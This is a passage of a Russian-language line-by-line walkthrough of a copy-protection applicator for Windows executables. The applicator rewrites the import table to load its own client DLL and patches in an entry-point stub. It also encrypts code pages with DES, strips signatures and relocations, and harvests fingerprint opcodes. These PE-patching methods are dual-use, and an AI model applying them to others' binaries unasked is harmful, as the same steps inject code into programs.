Строки 58-64 содержат функцию проверки существование файла, подлежащего дистрибуции, выводя в случае отсутствия такового сообщение об ошибке и прерывая выполнение аппликатора.
Строки 65-55 содержат проверку на наличие опционального параметра - параметра под номером 6, содержащего опции наложения системы дистрибуции и опционального параметра под номером 7 - содержащего размер строки, содержащей повторяющуюся битовую строку, содержащую идентификатор пользователя, по запросу которого происходит запуск данного экземпляра распространяемого программного обеспечения.
Если данные параметры присутствуют в списке аргументов командной строки, его значение преобразуется из строкового в целочисленный и используется для изменения логики работы аппликатора в соответствии с пользовательскими пожеланиями.
Строка 67 содержит вывод на консоль баннера аппликатора, сообщающего версию программы и краткую информацию о ее предназначении.
Строка 68 содержит вызов системной функции копирования файлов CopyFile - которой создается новый экземпляр исходного файла, переименованный в наименование целевого файла.
Строка 69 содержит вызов системной функции CreateFile, посредством которой вызывается открытие по имени целевого файла с правами доступа на чтение и запись.
Строка 70 содержит вызов системной функции GetFileSize, возвращающей размер файла по переданному ей хендлу файла, полученному на предыдущем шаге, в ходе вызова функции CreateFile
Строка 71 содержит проверку корректности хендла открытого в строке 69 файла, в случае корректности открытия значение хендла не будет равно значению 0xFFFFFFFF (INVALID_HANDLE_VALUE), таким образом мы можем проверить корректность открытия файла для чтения и записи, в котором и будет происходить вся последующая магия.
Строка 73 содержит вызов системной функции CreateFileMapping., которой мы создаем представление открытого файла для исключения операций чтения записи файла через функции ReadFile/WriteFile, данную функцию мы вызываем с атрибутами доступа PAGE_READWRITE, что позволит обращаться к содержимому файла как к области памяти, минуя традиционные процедуры чтения и записи - выполняя вместо них просто считывание и запись значений в памяти.
Строка 74 содержит проверку корректности открытия представления файла, не равно ли возвращаемое значение 0xFFFFFFFF (INVALID_HANDLE_VALUE), которое возвращается функцией создания представления при наличии ошибок в процессе создания такого представления.
Строка 76 содержит вызов системной функции MapViewOfFile, возвращающей адрес представления файла в памяти, к которому можно обращаться как к выделенной области памяти, вызывается функция с флагом доступа FILE_MAP_WRITE - который подразумевает как чтение, так и запись (значение по умолчанию - только чтение).
Строка 77 содержит декларацию и инициализацию переменной apicnt, используемой для подсчета функций, импортируемых подлежащим дистрибуции модулем из внешних библиотек, подгружаемых динамически в процессе выполнения целевого исполняемого модуля. Инициализируется значение в ноль.
Строка 78 содержит проверку, валиден ли адрес, возвращенный функцией MapViewOfFile - который может быть равен нулю, если функция отработала некорректно и это необходимо на всякий случай проверить.
Строка 80 содержит вызов функции IsPacked() - которая определяет, наложен ли на исполняемый файл, подлежащий дистрибуции внешний пакер или протектор (исключающий наложение системы дистрибуции на исполняемый файл). Дальнейшее выполнение кода аппликатора зависит от результата, возвращаемого функцией IsPacked() - если функция возвращает 0, аппликатор продолжает работу, иначе - работа аппликатора завершается с освобождением ранее использованных системных ресурсов.
Строки 82-85 содержит ряд деклараций и инициализаций локальных переменных, используемых в условном блоке (зависящем от наличия либо отсутствия внешних протекторов или упаковщиков, навешанных на целевой исполняемый файл).
Строка 86 содержит инициализацию и декларацию переменной inh (аббревиатура от IMAGE_NT_HEADERS - название структуры в заголовках PE файлов). Применяется данная переменная для работы с 32 битными исполняемыми модулями.
Строка 87 содержит инициализацию и декларацию переменной inh2 (аббревиатура от IMAGE_NT_HEADERS64 - название структуры в заголовках PE файлов). Применяется данная переменная для работы с 64 битными исполняемыми модулями.
Строка 88 содержит инициализацию и декларацию переменной ish (аббревиатура от IMAGE_SECTION_HEADER - название структуры в заголовках PE файлов).
Строка 89 содержит инициализацию и декларацию переменной ISAMD64, которая устанавливает, является ли обрабатываемый целевой исполняемый файл, подлежащий дистрибуции 64 битным или 32 битным (что выявляется по наличию значения элемента структуры IMAGE_NT_HEADER->FileHeader.Machine, равного 0x8664 - если он равен указанному значению, файл предназначен для выполнения как 64 битный файл, иначе он выполняется как 32 битный.
Строка 90 содержит инициализацию и декларацию переменной excluded - равной при инициализации адресу выделяемого буфера в памяти дефолтной кучи процесса, размером 1024 * размер переменной типа unsigned __int64, то есть, 1024 * 8 = 8192 байта.
Строка 91 содержит инициализацию и декларацию переменной типа R_ENVELOPE_CTX, поименованной context - относящейся к примитивам библиотеки RSAREF и позволяющую удобно работать с шифрованием и инициализацией IV и ключей в процессе работы симметричного шифрования.
Строка 90 содержит инициализацию и декларацию переменных типа char[] - key и iv - относящихся к работе симметричного шифрования в процессе шифрования имиджа целевого исполняемого файла после изъятия из него части объектного кода, а также указатели на буферы buffer и test.
Строки 93-96 содержит инициализацию структуры динамического массива под инструкции, получаемые в результате работы дизассемблера длин udis86, первоначальным размером 1024 * 1024 * sizeof(char *), Динамический массив позволяет хранить в нем любое количество значений в силу того, что при добавлении каждого элемента к массиву проверяется не равен ли указатель на текущий элемент массива уменьшенному на единицу значения размера массива - если такое равенство имеет место быть, под новый массив выделяется буфер вдвое большего размера, существующий буфер копируется в новый буфер, а старый буфер освобождается - после чего адрес буфера массива, содержащий значение ранее освобожденного буфера меняется на адрес нового буфера массива, содержащего ранее сохраненные в массиве данные.
Строки 97-98 содержат функции для получения значения адреса загрузки имиджа целевого исполняемого файла в момент инициализации, данные адреса различны для 32 битных и 64 битных имиджей, в связи с чем и происходит условное выполнение, в зависимости от ранее установленной переменной ISAMD64 (хранящей информацию о типе имиджа - 32 битный или 64 битный).
Строка 99 содержит вызов функции очистки буфера переменной, в которую будет скопировано имя динамического модуля клиентской части системы цифровой дистрибуции.
Строка 100 содержит вызов функции трансляции имен из OEM в ANSI, которая вызывается на случай наличия в пути к динамической библиотеке клиентской части символов, некорректно отображаемых в процессе работы консольного приложения.
Строки 101 и 102 содержат условно выполняемые вызовы функций сканирования таблицы импорта целевого исполняемого файла в зависимости от архитектуры целевого исполняемого файла - 32 битный или 64 битный.
Строки 103-104 содержат код получения точки входа в целевой исполняемый файл в зависимости от архитектуры целевого исполняемого файла - 32 битный или 64 битный.
Строки 105-122 содержат код функции, проверяющей наличие третьего бита в значении ОПЦИИ, указываемые пользователем при вызове аппликатора, по умолчанию все установленные в нуль - при установленности бита на третьей позиции байта опций удаление цифровой подписи из целевого исполняемого файла не производится.
Строка 123 начинает условный блок выполнения, выполняющийся при отсутствии установленного первого бита значения ОПЦИИ, указываемые пользователем при вызове аппликатора, по умолчанию все установленные в нуль - при установленности бита на первой позиции байта опций, генерация “отпечатков пальцев” не происходит.
Строки 125-127 содержат инициализацию и декларацию переменных, применяемых при работе с дизассемблером длин udis86 в целях парсинга исполняемых секций целевого исполняемого файла.
Строки 128-129 содержат условно выполняемую функцию, получающую в зависимости от архитектуры целевого исполняемого файла количество секций в таблице секций PE заголовка целевого исполняемого файла, значение количества секций сохраняется в переменной seccnt.
Строка 130 начинает цикл, выполняющийся seccnt раз, для каждой из секций целевого исполняемого файла
Строка 132 содержит код, который проверяет наличие в характеристиках проверяемой секции из таблицы в PE заголовке целевого исполняемого файла указаний на исполняемость содержимого проверяемой секции и имени секции .text

  • если указание на исполняемость содержимого установлена в характеристиках секции и имя секции совпадает с именем .text, данная секция обрабатывается дизассемблером длин инструкций.
    Строка 134 содержит декларацию и инициализацию локальных переменных.
    Строка 135 содержит вызов функции инициализации дизассемблера длин udis
    Строка 136 содержит вызов функции установки режима работы дизассемблера длин udis - который устанавливается в соответствии с архитектурой обрабатываемого файла, 32 битный или 64 битный.
    Строка 137 содержит вызов функции установки входного буфера дизассемблера длин udis, в качестве буфера передается адрес проверяемой в данное время секции, формируемый из параметра PointerToRawData заголовка проверяемой секции и базового адреса представления файла в памяти, ранее полученного.
    Строка 138 содержит установку переменной rawoffset одноименным значением из заголовка секции, проверяемой в данный момент.
    Строка 139 содержит установку переменной offset значением из заголовка секции VierualAddress
    Строки 140-141 содержат условно выполняемый код, выполняющийся в зависимости от переменной, содержащей признак архитектуры целевого исполняемого файла, 32 битный или 64 битный. Указанный код выполняет коррекцию значения виртуального адреса значением фактического адреса загрузки целевого файла через представление.
    Строка 142 начинает цикл, длящийся до завершения необработанных байт в буфере дизассемблера длин инструкций.
    Строки 144-372 содержат условный блок выполнения для 32 битной архитектуры целевого исполняемого файла. Данный блок ответственен за обнаружение конструкций компилятора типа switch case - при котором среди исполняемого кода находятся значения для таблицы переходов указанной условно выполняемой конструкции. Для обнаружения используется скользящий массив, содержащий последние 6 опкодов, содержащихся в FIFO массиве (First In First Out), позволяющий ретроспективно анализировать опкоды с целью обнаружения конструкций типа switch case. Важность учета данных конструкций заключается в том, что при использовании таких конструкций данные таблицы условных переходов размещаются прямо посреди кода и отграничить их является весьма нетривиальной задачей, однако же успешно решаемой путем использования скользящего буфера, отслеживающего такие варианты и надежно защищающего от интерпретации данных как кода (вообразите, если мы часть данных ложноположительно определим как опкод и используем его в качестве носителя информации о цифровых “отпечатках пальцев” - который будет иметь обратное представление всего лишь одного бита - но логика работы целевого исполняемого модуля будет нарушена и работать он не будет. Именно поэтому столь развернутое внимание уделено данному вопросу.
    Строка 373 содержит условный блок выполнения, выполняющийся только, если исследуемый опкод не находится на границе страниц памяти (чтобы в случае расшифровки одной страницы не нужно было определять, расшифрована ли другая страница или нет.
    Строка 375 содержит условный блок выполнения, выполняющийся только в том случае, если тип первого операнда опкода равен типу РЕГИСТР, а размер операнда равен родному значению архитектуры (для 32 битной архитектуры - 32 битам, для 64 битной архитектуры - 64 битам).
    Строка 377 содержит условный блок выполнения, выполняющийся только в том случае, если тип второго операнда опкода равен типу РЕГИСТР и размер операнда совпадает с размерностью архитектуры (32 бита для 32 битной архитектуры, 64 бита для 64 битной архитектуры целевого исполняемого файла)
    Строка 379 содержит условный блок выполнения, выполняющийся только в том случае, если если мнемокод опкода равен значению MOV - а более полно - MOV[regX,regY], необходимый для формирования носителя информации о цифровых “отпечатках пальцев”.
    Строки 381-386 содержат условные блоки, выполняющиеся в случае, если значения регистров найденного опкода находятся в границах xAX-rSI и не равны xBP/xSP, что необходимо по условию для формирования списка опкодов, представимых в двух вариантах, содержащих один и тот же размер в байтах.
    Строка 388 содержит блок условного выполнения, выполняющийся в случае, если указатель на текущий свободный блок в динамическом массиве равен максимальному значению количества блоков в динамическом массиве. Если условие выполняется, динамический массив в строках 389-395 обновляет буферы, увеличивая значение максимального количества блоков в два раза при каждом увеличении размера массива.
    Строка 396 начинает блок условного выполнения, который добавляет найденную позицию опкода в список excluded (то есть, подлежащие изъятию).
    Строка 406 проверяет, установлена ли переменная Limit - устанавливающая предел извлекаемых для “цифровых отпечатков” байт и не превышен ли он в случае установки такого значения в параметрах.
    Строка 407 содержит код, инкрементирующий значение указателя rawoffset на длину исследованного опкода машинной инструкции.
    Строка 408 содержит код, инкрементирующий значение указателя offset на длину исследованного опкода машинной инструкции
    Строки 413-414 содержат вызов внешней системной функции освобождения выделенной ранее памяти.
    Строка 416 начинает выполнение блока условного выполнения, исполнение которого зависит от установки бита опций, ответственного за шифрование исполняемых страниц имиджа.
    Строки с 418 по 421 содержат код, инициализирующий библиотеку RSAREF и генерирующий случайно выбранный ключ шифрования и начальную последовательность, а также структуры библиотеки для работы с алгоритмом DES в режиме CBC.
    Строка 422 начинает цикл, обрабатывающий секции целевого исполняемого файла, имеющие атрибут исполняемого кода и название секции .text
    Строка 426 вычисляет количество страниц памяти, размером 4096 байт для шифрования
    Строка 427 инициализирует выделение памяти под буфер размером 4096 байт, используемый как промежуточный буфер, в котором осуществляется шифрование. Может сразу возникнуть вопрос, почему применяется режим CBC, но шифруется не целиком содержание секции, выровненное на границу страницы, а именно постранично? Ответ очевиден - мы не можем знать, какую именно страницу будет выполнять код, может статься, что будет расшифрована всего одна страница из сотни - если бы применялся режим CBC на сразу весь диапазон секции, расшифровывать пришлось бы сразу всю секцию.
    Строка 428 начинает цикл, проходящий по секции с шагом в 1 страницу размером 4096 байт. Исходные данные секции копируются в выделенный в строке 427 буфер, данный буфер передается процедуре шифрования библиотеки RSAREF, с указанием адреса для сохранения результата, равного адресу, откуда были скопированы данные в буфер. Таким образом мы шифруем спокойно всю секцию, подлежащую шифрованию
    Строка 436 содержит вызов системной функции освобождения выделенного ранее на строке 427 буфера.
    Строка 437 содержит команду прерывания цикла (то есть, аппликатор будет шифровать первую секцию с названием ,text и атрибутами, символизирующими наличие в такой секции исполняемого кода. При желании можно обрабатывать и другие секции, например, секцию данных .data - что выходит за рамки данного цикла статей, но вполне реализуемо на базе имеющегося функционала
    Строки 441-447 содержат блок условного выполнения, который исполняется, если успешно отработал вызов внешней системной функции, выполняющей расчет контрольной суммы измененного целевого исполняемого модуля
    Строка 448 содержит вызов сохранения измененного представления целевого исполняемого файла, представление которого было изменено в части шифрования и удаления части объектного кода с заменой пустых мест опкодами 0x90 (NOP).
    Строки 449-450 содержат вызовы системных функций закрытия хендлов, использованных при создании представления файла целевого исполняемого модуля.
    Строки 451-455 содержат вызовы библиотечных функций RSAREF для генерации пары ключей по алгоритму RSA с длиной модуля 1024 бит и функции вывода текущего состояния аппликатора в консоль.
    Строки 456-458 содержат вызов системной функции выделения памяти под буфер для хранения данных об извлеченных опкодах, а также инициализацию переменных для реализации динамического массива (при заранее неизвестном размере такого массива)
    Строка 459 начинает исполнение блока условного выполнения, выполняющегося в случае успешного выделения памяти под буфер для сохранения данных.
    Строка 461 начинает цикл обработки сохраненных ранее данных об импортируемых внешних функциях из динамически загружаемых библиотек.
    Строка 469 сохраняет номер записи об используемой внешней функции. размером 4 байта в выходной буфер.
    Строка 471 сохраняет длину имени библиотеки в байтах размером 4 байта в выходной буфер
    Строка 472 содержит процедуру хеширования имени библиотеки для распознавания окончания списка функций одной библиотеки от другой.
    Строка 473 сохраняет хеш библиотеки в выходной буфер размером 4 байта
    Строка 474 сохраняет имя библиотеки в выходной буфер
    Строки 475-479 содержат цикл, сохраняющий хеш от имени функции размером 4 байта и значение оффсета переменной от начала имиджа размером 4 байта, в которой сохраняется в процессе разрешения зависимостей при загрузке целевого исполняемого модуля адрес импортируемой функции, которая затем вызывается объектным кодом целевого исполняемого модуля.
    Строки 501-503 содержат вызовы системных функций, освобождающих ранее выделенные области памяти под буфер для сохранения импортируемых функций внешних динамически загружаемых библиотек.
    Строки 504-505 содержат код, вносящий разделитель в данные выходного буфера, разделителем является значение нуля.
    Строки 506-508 содержат код, реагирующий на пользовательские опции обработки целевого исполняемого файла - если первый бит опций установлен, процедура наложения цифровых “отпечатков пальцев” не применяется.
    Строки 509-511 содержат код, реагирующий на пользовательские опции - если второй бит байта опций установлен, защита страниц памяти отключена, соответствующий флаг помещается в выходной буфер.
    Строки 512-515 содержат код, сохраняющий ключи симметричного и асимметричного шифрования в выходном буфере
    Строка 512 инициализирует и декларирует переменную для работы с интерфейсом базы данных sqlite3
    Строки 522-526 содержат блок условного выполнения, обрабатывающий ошибку открытия файла базы данных, если таковая вдруг произошла.
    Строки 527-554 содержат код для работы с базой данных sqlite (инициализация таблиц в случае их отсутствия, вставка данных буфера и идентификатора целевого исполняемого модуля в качестве имени именованного пайпа.
    Строка 555 содержит вызов библиотечной функции sqlite3, закрывающей доступ к базе данных.
    Строка 557 содержит вызов внешней системной функции, освобождающей ранее выделенный блок памяти.
    Строка 558 содержит вызов внешней системной функции, позволяющей обновление ресурсов динамически загружаемой библиотеки клиентской части через своего рода высокоуровневый интерфейс.
    Строка 559 начинает блок условного выполнения, который исполняется в случае успешного вызова внешней системной функции обновления ресурсов динамически загружаемой библиотеки “на лету” - мы заменяем в библиотеке клиентской части публичный ключ асимметричной криптографии (для реализации процедуры обмена ключами в процессе запуска протокола).
    Строка 561 содержит блок условного выполнения, исполняющийся в случае ошибки закрытия файла динамически загружаемой библиотеки с обновленными ресурсами и выводит соответствующую ошибку в консоль.
    Строка 565 начинает исполнение блока условного выполнения, выполняющегося в случае успешного закрытия динамически загружаемой библиотеки с измененными ресурсами. При этом, не стоит забывать, что изменение ресурсов не пересчитывает контрольную сумму файла, которую необходимо пересчитать - для чего в данном блоке происходит открытие файла динамически загружаемой библиотеки на чтение и запись с целью корректировки значения контрольной суммы файла. Помимо коррекции контрольной суммы файла нам необходимо заменить шаблон имени именованного пайпа, скомпилированный по умолчанию в библиотеке клиентской части, а также ввести корректное значение адреса точки входа в целевой исполняемый модуль, получаемый из заголовка такого модуля и сохраняемый в конце секции .text с шаблоном 0x12345678 - наличие которого проверяется и заменяется на реальное значение точки входа, чтобы после отработки клиентской части иметь возможность передать управление оригинальному файлу.
    Строка 567 содержит код открытия файла на чтение и запись
    Строка 568 содержит код проверки, корректно ли открылся файл на чтение и запись
    Строка 570 содержит вызов внешней системной функции получения размера файла по его хендлу
    Строка 571 содержит вызов внешней системной функции создания представления файла (вместо последующего использования функций ReadFile/WriteFile)
    Строка 572 содержит код проверки корректности создания представления файла
    Строка 574 содержит вызов внешней системной функции, получающей адрес представления файла по его хендлу.
    Строка 575 проверяет корректность получения адреса представления файла.
    Строки 577-586 содержат код, инициализирующий и декларирующий шаблон для поиска строки с именем именованного пайпа, скомпилированный по умолчанию в библиотеке клиентской части.
    Строка 587-616 содержат код, корректирующий значение шаблона на значение оригинальной точки входа в целевой исполняемый модуль путем поиска шаблона в памяти, на которую указывает параметр из заголовка секции, имеющей атрибуты исполняемого кода в характеристиках и имя .text в качестве имени. Значение шаблона в данном случае равно 0x12345678
    Строки 617-623 содержат код, осуществляющий коррекцию контрольной суммы файла целевого исполняемого модуля.
    Строки 624-628 содержат вызовы внешних системных функций для освобождения ранее выделенных ресурсов и вывода состояния аппликатора в консоль, а также функцию завершения аппликатора.
    Строки 629-662 содержат обработчики разнообразных ошибок, обработка которых в процессе работы аппликатора способна сэкономить массу времени на отладке кода.

Функция MemoryMover(), работа с FLAT буфером для сохранения данных контролируемого программного обеспечения

Данная функция принимает на входе следующие аргументы:

  1. Тип переменной - unsigned char **, имя переменной - binBuffer - содержит указатель на адрес выделенной памяти, используемой в качестве буфера
  2. Тип переменной - unsigned int *, имя переменной - binPoint, содержит адрес переменной, указывающей текущее местоположение первого незанятого байта в буфере.
  3. Тип переменной unsigned int *, имя переменной - binTotal, содержит адрес переменной, указывающей максимальную длину буфера
  4. Тип переменной - unsigned char *, имя переменной - cursor, содержит указатель на буфер с данными, которые нужно скопировать в конец основного буфера
  5. Тип переменной - unsigned int, имя переменной - size, содержит значение текущего вставляемого фрагмента.

Данная функция ничего не возвращает.
Данная функция служит для формирования выходного буфера, сохраняемого в дальнейшем в базе данных и используемого серверной частью при одобрении запуска клиентской части.
Строка 668 содержит проверку, не выходит ли вставляемое в буфер значение за границы выделенной области памяти, используемой в качестве буфера.
Строка 670 выполняется в рамках блока условного выполнения, который исполняется в случае, если вставляемое в буфер значение не выходит за границы буфера - данная строка содержит вызов функции перемещения памяти между буферами с указанными параметрами.
Строка 671 содержит код, осуществляющий обновление значения текущего занятого размера буфера.
Если же проверка в строке 668 установит, что значение в буфере вышло за границы выделенной области памяти, происходит обновление буфера с заменой на увеличенный вдвое буфер с копированием и последующим освобождением памяти первого буфера - это реализуется в строках 674-680.

Функция CalcHash(), вычисление хеш значения строки с целью ускорения поиска и обработки строковых параметров (имен библиотек и импортируемых ими функций)

Данная функция служит для подсчета значения хеша и принимает на вход следующие параметры:

  1. Тип переменной - char *, имя переменной - str, данная переменная содержит адрес строки, хеш которой необходимо вычислить

Данная функция возвращает значение вычисленного хеш значения, применяемого для ускорения обработки строк, требующих сравнения.
Строки 685-686 содержат код инициализации и декларации локальных переменных, применяемых в процессе работы данной функции.
Строка 687-692 начинает выполнение и реализуют цикл до появления нуля, заканчивающего строку, переданную в функцию в параметре str.
Строка 693 возвращает в качестве результата хеширования строки 31 бит из вычисленного значения хеша.

Функция ScanForApiCall32(), сканирование имиджа исполняемого файла с последующим удалением списка импортируемых внешних функций и созданием новой пустой таблицы импорта, для 32 битных модулей

Данная функция принимает на вход следующие параметры:

  1. Тип переменной - char *, имя переменной - exeMem, содержит адрес буфера, в котором находится представление имиджа файла целевого исполняемого модуля
  2. Тип переменной - size_t, имя переменной - fSize, содержит размер имиджа файла целевого исполняемого модуля
  3. Тип переменной - char *, имя переменной - dllName, содержит имя динамически загружаемой библиотеки, вставляемой в IAT целевого исполняемого модуля
  4. Тип переменной - BOOL, имя переменной - bIAT, содержит булевский параметр, разрешающий или запрещающий работу с шифрованием таблицы IAT

Данная функция возвращает указатель на список импортируемых сканированным имиджем целевого исполняемого модуля функций и динамически загружаемых библиотек. такие функции экспортирующих.
Данная функция служит для получения списка используемых файлом целевого исполняемого модуля внешних библиотек и экспортируемых ими функций. Предназначена для файлов целевого исполняемого модуля 32 битной архитектуры. Помимо сканирования таблицы импортов, реконструирует указанную таблицу, удаляя из нее все записи, за исключением чувствительных к фазе загрузки модулей (например, d3dx.dll) - которые предпочтительнее пропустить, оставив в составе IAT - при отсутствии чувствительных к фазе загрузки модулей после обработки IAT содержит ссылку на один модуль - модуль клиентской части и одну функцию этого модуля - initialize()
Строки 698-708 содержат инициализацию и декларацию локальных переменных, используемых функцией.
Строки 709-711 содержат инициализацию структуры динамического массива, содержащего записи об импортируемых функциях динамически загружаемых модулей файла целевого исполняемого файла
Строки 712-713 начинают исполнение блока условного выполнения, выполняющегося в случае если значение IMAGE_IMPORT_DESCRIPTOR не равно 0xFFFFFFFF
Строка 715 содержит код, транслирующий относительное смещение от начала файла в абсолютное (с учетом адреса представления файла в памяти).
Строки 716-720 содержат цикл, подсчитывающий количество элементов в дескрипторе импорта.
Строка 721 начинает блок условного выполнения, исполняющийся в случае, если в опциях передан параметр, включающий шифрование таблицы импортируемых динамически загружаемых библиотек и экспортируемых ими функций.
Строки 723-725 содержат инициализацию и декларацию локальных переменных, используемых в данном блоке условного выполнения.
Строка 726 начинает цикл обработки импортируемых функций, количество которых определяется путем вычисления размера блока таблицы, деленного на размер элемента.
Строки 730-754 содержат блок условного выполнения, обрабатывающий ситуацию, возникающую, если в списке импортируемых библиотек найдена чувствительная к порядку загрузки библиотека, в данном случае “d3dx.dll”, ссылка на которую сдвигается в начало таблицы с целью ее последующего оставления в списке библиотек, тогда как остальные элементы будут обрабатываться клиентской частью самостоятельно, в отличие от “d3dx.dll”
Строка 756 начинает цикл обработки элементов импортируемых динамически загружаемых библиотек
Строка 758 вычисляет смещение имени текущей импортируемой библиотеки.
Строка 760 получает значение абсолютного адреса из полученного ранее смещения и адреса представления имиджа файла целевого исполняемого модуля.
Строка 761 вычисляет смещение ссылки на элемент таблицы файла целевого исполняемого модуля, переменная thunks.
Строка 762 вычисляет смещение ссылки на элемент таблицы файла целевого исполняемого модуля, с учетом привязки к модулю с определенным значением timestamp (так называемый binding), переменная othunk
Строка 763 начинает исполнение блока условного выполнения в случае, если значение переменной thunks, содержащей смещение ссылки на элемент не равно нулю.
Строка 765 приводит значение смещения в переменной thunks к абсолютному адресу (относительное смещение суммируется с адресом представления имиджа файла целевого исполняемого модуля).
Строка 766 приводит значение смещения в переменной othunk к абсолютному адресу (относительное смещение суммируется с адресом представления имиджа файла целевого исполняемого модуля).
Строка 769 начинает обработку записей импортируемых функций в случае, если переменная othunk не равна нулю и указан отпечаток времени импортируемого модуля (в данном случае загрузчик пытается загрузить соответствующую библиотеку с соответствующим отпечатком времени).
Строка 771 начинает цикл обработки записей импортируемых функций текущего импортируемого модуля, длящийся пока не будет встречено значение othunk->u1.AddressOfData равное нулю.
Строка 773 вычисляет значение ссылки на имя импортируемой функции, которое приводится к абсолютному значению в строках 774-785
Строка 786 содержит инкремент переменной, содержащей количество обработанных записей на единицу.
Строки 787-794 содержат код проверки достаточности размера динамического массива, сохраняющего записи о найденных импортируемых функциях, в случае необходимости увеличения размера буфера указанного массива, буфер увеличивается в два раза с соответствующим копированием содержимого прежнего буфера в новый и освобождением памяти, выделенной под прежний буфер.
Строка 795 сохраняет хеш от имени обнаруженного модуля в записи, вставляемой в динамический массив
Строки 796-803 сохраняют в указанной записи хеш имени импортируемой функции
Строка 804 сохраняет смещение адреса импортируемой функции в имидже файла целевого исполняемого модуля для последующего размещения в нем адреса переходника на шеллкод, обеспечивающий переход на определяемый вручную клиентской частью адрес внешней системной функции во время ее выполнения.
Строка 805 сохраняет имя импортируемого модуля в указанной ранее записи путем выделения области памяти под имя модуля.
Строка 806 вызывает библиотечную функцию копирования имени импортируемой библиотеки, приведенной к нижнему регистру (некоторые динамически загружаемые библиотеки, указываемые в таблице импортов имеют отличный от нижнего регистр, что может пагубно сказаться на попытке резолвинга их имен в списке модулей PEB.ModuleList - который осуществляется клиентской частью в процессе запуска целевого исполняемого модуля.
Строки 807-808 осуществляют обнуление обработанных областей таблицы импорта.
Строки 809-810 инкрементируют значение переменных thunks и othunk для последующей обработки следующих импортируемых динамически загружаемых библиотек.
Строка 813 обрабатывает блок условного выполнения для случая, если биндинг динамически загружаемых библиотек в представлении файла целевого исполняемого модуля отсутствует.
Строка 815 начинает цикл.ю длящийся до тех пор, пока значение thunks->u1.AddressOfData не станет равным нулю.
Строка 817 вычисляет значение смещения имени импортируемой функции
Строки 818-828 транслируют вычисленное в строке 817 значение смещения в абсолютный адрес (в зависимости от параметров, присутствующих в элементе, представляющем данную импортируемую функцию).
Строка 829 инкрементирует значение переменной, содержащей общее количество обработанных элементов таблицы импортируемых функций.
Строки 830-837 проверяют достаточность буфера динамического массива, сохраняющего записи об импортируемых функциях динамически загружаемых библиотек целевого исполняемого файла.
Строка 838 сохраняет хеш от имени динамически загружаемой библиотеки в нижнем регистре
Строки 839-846 вычисляют значение хеша от имени импортируемой функции и сохраняют их в соответствующем элементе динамического массива.
Строка 847 сохраняет смещение на область памяти, в которой при загрузке целевого исполняемого модуля сохраняется адрес внешней импортируемой из динамически загружаемых библиотек функции, с целью последующего размещения в этой области указателя на переходник, содержащий шеллкод, передающий управление непосредственно на адрес импортируемой функции.
Строка 848 выделяет память под имя модуля, экспортирующего данную функцию, адрес которой сохраняется в соответствующей записи динамического массива.
Строка 849 копирует имя текущего импортируемого модуля в выделенную в строке 848 область памяти.
Строки 850-851 обнуляют содержимое обработанных записей, на которые указывают переменные thunks и othunk.
Строки 852-853 увеличивают значения указателей в переменных thunks и othunk, обеспечивая возможность перехода к следующему элементу таблицы импорта.
Строки 862-873 формируют новую таблицу импортируемых функций IAT, вставляя в нее ссылку на динамически загружаемую библиотеку клиентской части системы цифровой дистрибьюции.
Строки 874-884 формируют содержимое новой таблицы импортируемых функций с указанием в ней динамически загружаемой библиотеки клиентской части и экспортируемой ей функции initialize
Строка 885 начинает цикл прохода по секциям представления файла имиджа целевого исполняемого модуля с целью нахождения секции, содержащей ранее таблицу IAT с целью формирования в ней переходника, вызывающего клиентскую часть и затем передающего управление на оригинальную точку входа.
Строка 887 содержит код проверки, находится ли адрес таблицы IAT в границах указанной секции или не находится. В случае нахождения в границах указанной секции искомого адреса, начинается исполнения блока условного выполнения
Строка 888 начинает блок условного выполнения в случае, если адрес таблицы импорта находится в границах проверяемой секции.
Строка 889 вычисляет виртуальный адрес записей таблицы импорта
Строка 890 вычисляет виртуальный адрес оригинальной точки входа целевого исполняемого файла
Строка 891 вычисляет смещение на конец содержимого таблицы импорта из заголовка целевого исполняемого файла (IMAGE_DIRECTORY_ENTRY_IMPORT.offset + IMAGE_DIRECTORY_ENTRY_IMPORT.size)
Строка 892 размещает по вычисленному в строке 891 адресу с учетом адреса представления имиджа файла целевого исполняемого модуля байт 0xB8
Строка 893 копирует по адресу размещения байта в строке 892 значение адреса области памяти, содержащей адрес функции initialize динамически загружаемой библиотеки клиентской части, таким образом, формируя шеллкод (“mov eax, initialize_offset”
Строки 894-895 формируют следующий опкод - “mov eax,[eax]”
Строки 896-897 формируют следующий опкод - “call eax”
Строки 898-899 формируют следующий опкод - “mov eax, EP”
Строки 900-901 формируют следующий опкод - “jmp eax”
Строка 902 формирует новую точку входа в целевой исполняемый модуль, указывающий на сформированный на предыдущих строках шеллкод.
Строка 903 устанавливает дополнительные атрибуты секции, содержащей таблицу импорта и новую точку входа, указывающие на наличие исполняемого кода в ней.
Строка 904 устанавливает флаги в заголовке файла, указывающие на удаление информации о релокации из файла во избежание использования релоков, с которыми невозможна работа с динамическим шифрованием секций исполняемого кода в целевом исполняемом модуле.
Строка 910 возвращает буфер, содержащий элементы импортируемых динамически загружаемых модулей.

Функция ScanForApiCall64(), сканирование имиджа исполняемого файла с последующим удалением списка импортируемых внешних функций и созданием новой пустой таблицы импорта, для 64 битных модулей

Данная функция принимает на вход следующие параметры:

  1. Тип переменной - char *, имя переменной - exeMem, содержит адрес буфера, в котором находится представление имиджа файла целевого исполняемого модуля
  2. Тип переменной - size_t, имя переменной - fSize, содержит размер имиджа файла целевого исполняемого модуля
  3. Тип переменной - char *, имя переменной - dllName, содержит имя динамически загружаемой библиотеки, вставляемой в IAT целевого исполняемого модуля
  4. Тип переменной - BOOL, имя переменной - bIAT, содержит булевский параметр, разрешающий или запрещающий работу с шифрованием таблицы IAT

Данная функция возвращает указатель на список импортируемых сканированным имиджем целевого исполняемого модуля функций и динамически загружаемых библиотек. такие функции экспортирующих.
Данная функция служит для получения списка используемых файлов целевого исполняемого модуля внешних библиотек и экспортируемых ими функций. Предназначена для файлов целевого исполняемого модуля 64 битной архитектуры. Помимо сканирования таблицы импортов, реконструирует указанную таблицу, удаляя из нее все записи, за исключением чувствительных к фазе загрузки модулей (например, d3dx.dll) - которые предпочтительнее пропустить, оставив в составе IAT - при отсутствии чувствительных к фазе загрузки модулей после обработки IAT содержит ссылку на один модуль - модуль клиентской части и одну функцию этого модуля - initialize()
Строки 915-925 содержат инициализацию и декларацию локальных переменных, используемых функцией.
Строки 927-929 содержат инициализацию структуры динамического массива, содержащего записи об импортируемых функциях динамически загружаемых модулей файла целевого исполняемого файла
Строки 930-931 начинают исполнение блока условного выполнения, выполняющегося в случае если значение IMAGE_IMPORT_DESCRIPTOR не равно 0xFFFFFFFF
